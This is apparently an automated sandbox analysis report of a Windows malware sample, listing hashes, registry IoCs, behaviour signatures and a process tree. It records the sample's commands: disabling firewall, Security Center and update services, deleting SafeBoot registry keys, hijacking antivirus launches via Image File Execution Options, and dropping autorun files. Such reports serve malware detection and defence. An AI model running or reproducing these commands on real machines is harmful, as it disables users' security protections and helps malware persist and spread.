Analysis
- max time kernel
132s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
07/01/2024, 19:39
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ae17ef325a1db4139e9090b07f996e99.exe
Resource
win7-20231215-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
ae17ef325a1db4139e9090b07f996e99.exe
Resource
win10v2004-20231222-en
15 signatures
150 seconds
General
- Target ae17ef325a1db4139e9090b07f996e99.exe
- Size 1.7MB
- Sample240107-yc6chacgem
- SHA256 f6f6c2feba4ee906ce5865601a8b36bda692ffb70e49751552e9b88b53b971d0
- MD5 ae17ef325a1db4139e9090b07f996e99
- SHA1 760786ce6036a8f3bf954de53ed1a0a07cba23c9
- SHA512 7d2ead21688cbfc5b86265fd6c83d37f04007f17fbf7ec9c00e050b93e1c878af34f2994704a0a68692ebcfd4fda4bd3a29b9ac28bbeb6b9a020dd903cb43d6c
- SSDEEP 12288:UZWtI6RkqOB0fOjOB0Ru9OwOB0fOjOB0RudOwOB0fOjOB0Ru9OwOB0fOjOB0RuH+:UuhaqOZO9OZOtOZO9OZOi
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" regedit.exe - Blocks application from running via registry modification 17 IoCs
Adds application to list of disallowed applications.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "RfwMain.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "RavStub.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "Rav.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "Rfwsrv.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "RavMon.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "RavService.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KAV32.EXE" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "CCenter.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "KPFW32X.EXE" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "KAVPFW.EXE" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "KAVStart.EXE" regedit.exe Set value (int) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" regedit.exe Key created \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "avp.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "RavMoD.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "rfwcfg.exe" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "KPFW32.EXE" regedit.exe - Sets file execution options in registry 2 TTPs 20 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RfwMain.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rfwsrv.exe regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.EXE regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.EXE\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMoD.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RfwMain.exe regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rfwsrv.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMoD.exe regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe\Debugger = "D:\\RECYCLER\\????8.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe regedit.exe - Executes dropped EXE 1 IoCs
pid Process 4764 KavUpda.exe - Drops autorun.inf file 1 TTPs 2 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
description ioc Process File opened for modification F:\Autorun.inf KavUpda.exe File opened for modification C:\Autorun.inf KavUpda.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\SysWOW64\Option.bat ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Windows\SysWOW64\Option.bat KavUpda.exe File opened for modification C:\Windows\SysWOW64\WordRes ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Windows\SysWOW64\ExceRes ae17ef325a1db4139e9090b07f996e99.exe - Drops file in Program Files directory 36 IoCs
description ioc Process File opened for modification C:\Program Files\StopCompare.xls ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\7-Zip\7z.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome_proxy.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\createdump.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\idlj.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javac.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javadoc.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\7-Zip\7zFM.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\7-Zip\Uninstall.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\java.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javaws.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javapackager.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\LockStep.doc ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\7-Zip\7zG.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.25\createdump.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jar.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javah.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javaw.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jcmd.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jconsole.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jdb.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\dotnet\dotnet.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\UnprotectRead.xls ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\extcheck.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\javap.exe ae17ef325a1db4139e9090b07f996e99.exe - Drops file in Windows directory 10 IoCs
description ioc Process File created C:\Windows\Help\HelpCat.exe ae17ef325a1db4139e9090b07f996e99.exe File created C:\Windows\Sysinf.bat ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Windows\Sysinf.bat KavUpda.exe File created C:\Windows\system\KavUpda.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Windows\system\KavUpda.exe ae17ef325a1db4139e9090b07f996e99.exe File opened for modification C:\Windows\system\KavUpda.exe KavUpda.exe File opened for modification C:\Windows\regedt32.sys KavUpda.exe File created C:\Windows\regedt32.sys KavUpda.exe File opened for modification C:\Windows\Help\HelpCat.exe ae17ef325a1db4139e9090b07f996e99.exe File created C:\Windows\regedt32.sys ae17ef325a1db4139e9090b07f996e99.exe - Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1512 sc.exe 412 sc.exe 432 sc.exe 4984 sc.exe 1940 sc.exe 1240 sc.exe 1672 sc.exe 2792 sc.exe 2332 sc.exe - Runs net.exe
- Runs regedit.exe 1 IoCs
pid Process 3204 regedit.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 4764 KavUpda.exe Token: SeIncBasePriorityPrivilege 4764 KavUpda.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: 33 2432 ae17ef325a1db4139e9090b07f996e99.exe Token: SeIncBasePriorityPrivilege 2432 ae17ef325a1db4139e9090b07f996e99.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2432 ae17ef325a1db4139e9090b07f996e99.exe 4764 KavUpda.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2432 wrote to memory of 2716 2432 ae17ef325a1db4139e9090b07f996e99.exe 23 PID 2432 wrote to memory of 2716 2432 ae17ef325a1db4139e9090b07f996e99.exe 23 PID 2432 wrote to memory of 2716 2432 ae17ef325a1db4139e9090b07f996e99.exe 23 PID 2432 wrote to memory of 4128 2432 ae17ef325a1db4139e9090b07f996e99.exe 80 PID 2432 wrote to memory of 4128 2432 ae17ef325a1db4139e9090b07f996e99.exe 80 PID 2432 wrote to memory of 4128 2432 ae17ef325a1db4139e9090b07f996e99.exe 80 PID 4128 wrote to memory of 2564 4128 Conhost.exe 17 PID 4128 wrote to memory of 2564 4128 Conhost.exe 17 PID 4128 wrote to memory of 2564 4128 Conhost.exe 17 PID 2432 wrote to memory of 5020 2432 ae17ef325a1db4139e9090b07f996e99.exe 231 PID 2432 wrote to memory of 5020 2432 ae17ef325a1db4139e9090b07f996e99.exe 231 PID 2432 wrote to memory of 5020 2432 ae17ef325a1db4139e9090b07f996e99.exe 231 PID 2432 wrote to memory of 2632 2432 ae17ef325a1db4139e9090b07f996e99.exe 223 PID 2432 wrote to memory of 2632 2432 ae17ef325a1db4139e9090b07f996e99.exe 223 PID 2432 wrote to memory of 2632 2432 ae17ef325a1db4139e9090b07f996e99.exe 223 PID 2432 wrote to memory of 1748 2432 ae17ef325a1db4139e9090b07f996e99.exe 217 PID 2432 wrote to memory of 1748 2432 ae17ef325a1db4139e9090b07f996e99.exe 217 PID 2432 wrote to memory of 1748 2432 ae17ef325a1db4139e9090b07f996e99.exe 217 PID 2432 wrote to memory of 2092 2432 ae17ef325a1db4139e9090b07f996e99.exe 97 PID 2432 wrote to memory of 2092 2432 ae17ef325a1db4139e9090b07f996e99.exe 97 PID 2432 wrote to memory of 2092 2432 ae17ef325a1db4139e9090b07f996e99.exe 97 PID 2432 wrote to memory of 4980 2432 ae17ef325a1db4139e9090b07f996e99.exe 95 PID 2432 wrote to memory of 4980 2432 ae17ef325a1db4139e9090b07f996e99.exe 95 PID 2432 wrote to memory of 4980 2432 ae17ef325a1db4139e9090b07f996e99.exe 95 PID 2432 wrote to memory of 740 2432 ae17ef325a1db4139e9090b07f996e99.exe 146 PID 2432 wrote to memory of 740 2432 ae17ef325a1db4139e9090b07f996e99.exe 146 PID 2432 wrote to memory of 740 2432 ae17ef325a1db4139e9090b07f996e99.exe 146 PID 2432 wrote to memory of 2028 2432 ae17ef325a1db4139e9090b07f996e99.exe 91 PID 2432 wrote to memory of 2028 2432 ae17ef325a1db4139e9090b07f996e99.exe 91 PID 2432 wrote to memory of 2028 2432 ae17ef325a1db4139e9090b07f996e99.exe 91 PID 2432 wrote to memory of 1968 2432 ae17ef325a1db4139e9090b07f996e99.exe 87 PID 2432 wrote to memory of 1968 2432 ae17ef325a1db4139e9090b07f996e99.exe 87 PID 2432 wrote to memory of 1968 2432 ae17ef325a1db4139e9090b07f996e99.exe 87 PID 2432 wrote to memory of 1512 2432 ae17ef325a1db4139e9090b07f996e99.exe 140 PID 2432 wrote to memory of 1512 2432 ae17ef325a1db4139e9090b07f996e99.exe 140 PID 2432 wrote to memory of 1512 2432 ae17ef325a1db4139e9090b07f996e99.exe 140 PID 2432 wrote to memory of 1940 2432 ae17ef325a1db4139e9090b07f996e99.exe 57 PID 2432 wrote to memory of 1940 2432 ae17ef325a1db4139e9090b07f996e99.exe 57 PID 2432 wrote to memory of 1940 2432 ae17ef325a1db4139e9090b07f996e99.exe 57 PID 2432 wrote to memory of 1672 2432 ae17ef325a1db4139e9090b07f996e99.exe 82 PID 2432 wrote to memory of 1672 2432 ae17ef325a1db4139e9090b07f996e99.exe 82 PID 2432 wrote to memory of 1672 2432 ae17ef325a1db4139e9090b07f996e99.exe 82 PID 2432 wrote to memory of 1240 2432 ae17ef325a1db4139e9090b07f996e99.exe 79 PID 2432 wrote to memory of 1240 2432 ae17ef325a1db4139e9090b07f996e99.exe 79 PID 2432 wrote to memory of 1240 2432 ae17ef325a1db4139e9090b07f996e99.exe 79 PID 2432 wrote to memory of 3204 2432 ae17ef325a1db4139e9090b07f996e99.exe 78 PID 2432 wrote to memory of 3204 2432 ae17ef325a1db4139e9090b07f996e99.exe 78 PID 2432 wrote to memory of 3204 2432 ae17ef325a1db4139e9090b07f996e99.exe 78 PID 2028 wrote to memory of 2648 2028 net.exe 248 PID 2028 wrote to memory of 2648 2028 net.exe 248 PID 2028 wrote to memory of 2648 2028 net.exe 248 PID 740 wrote to memory of 2428 740 Conhost.exe 222 PID 740 wrote to memory of 2428 740 Conhost.exe 222 PID 740 wrote to memory of 2428 740 Conhost.exe 222 PID 1968 wrote to memory of 2824 1968 net.exe 132 PID 1968 wrote to memory of 2824 1968 net.exe 132 PID 1968 wrote to memory of 2824 1968 net.exe 132 PID 2432 wrote to memory of 1432 2432 ae17ef325a1db4139e9090b07f996e99.exe 69 PID 2432 wrote to memory of 1432 2432 ae17ef325a1db4139e9090b07f996e99.exe 69 PID 2432 wrote to memory of 1432 2432 ae17ef325a1db4139e9090b07f996e99.exe 69 PID 2432 wrote to memory of 2748 2432 ae17ef325a1db4139e9090b07f996e99.exe 67 PID 2432 wrote to memory of 2748 2432 ae17ef325a1db4139e9090b07f996e99.exe 67 PID 2432 wrote to memory of 2748 2432 ae17ef325a1db4139e9090b07f996e99.exe 67 PID 1748 wrote to memory of 1756 1748 TrustedInstaller.exe 66 - Views/modifies file attributes 1 TTPs 16 IoCs
pid Process 4948 attrib.exe 4360 attrib.exe 2428 attrib.exe 4608 attrib.exe 60 attrib.exe 2292 attrib.exe 1092 attrib.exe 3668 attrib.exe 3604 attrib.exe 2240 attrib.exe 1356 attrib.exe 3940 attrib.exe 1256 attrib.exe 2648 attrib.exe 3412 attrib.exe 2528 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ae17ef325a1db4139e9090b07f996e99.exe"C:\Users\Admin\AppData\Local\Temp\ae17ef325a1db4139e9090b07f996e99.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\SysWOW64\net.exenet.exe start schedule /y2⤵PID:4128
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat2⤵PID:2716
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled2⤵
- Launches sc.exe
PID:1940
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C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f2⤵PID:2748
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C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f2⤵PID:1432
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C:\Windows\system\KavUpda.exeC:\Windows\system\KavUpda.exe2⤵
- Executes dropped EXE
- Drops autorun.inf file
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4764 -
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled3⤵
- Launches sc.exe
PID:412
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C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f3⤵PID:4056
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:4000
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:3412
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C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f3⤵PID:2100
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled3⤵
- Launches sc.exe
PID:432
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:2792
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled3⤵
- Launches sc.exe
PID:2332
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C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y3⤵PID:4936
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C:\Windows\SysWOW64\net.exenet.exe stop srservice /y3⤵PID:1184
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C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y3⤵PID:1676
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C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y3⤵PID:4580
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C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y3⤵PID:5044
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C:\Windows\SysWOW64\cmd.execmd /c at 7:45:14 PM C:\Windows\Sysinf.bat3⤵PID:2116
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C:\Windows\SysWOW64\cmd.execmd /c at 7:42:14 PM C:\Windows\Sysinf.bat3⤵PID:2976
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C:\Windows\SysWOW64\At.exeAt.exe 7:43:12 PM C:\Windows\Help\HelpCat.exe3⤵PID:1864
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:4508
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:1440
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:3680
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:4948
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:4500
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:4608
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1092
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:3604
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:5088
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:3056
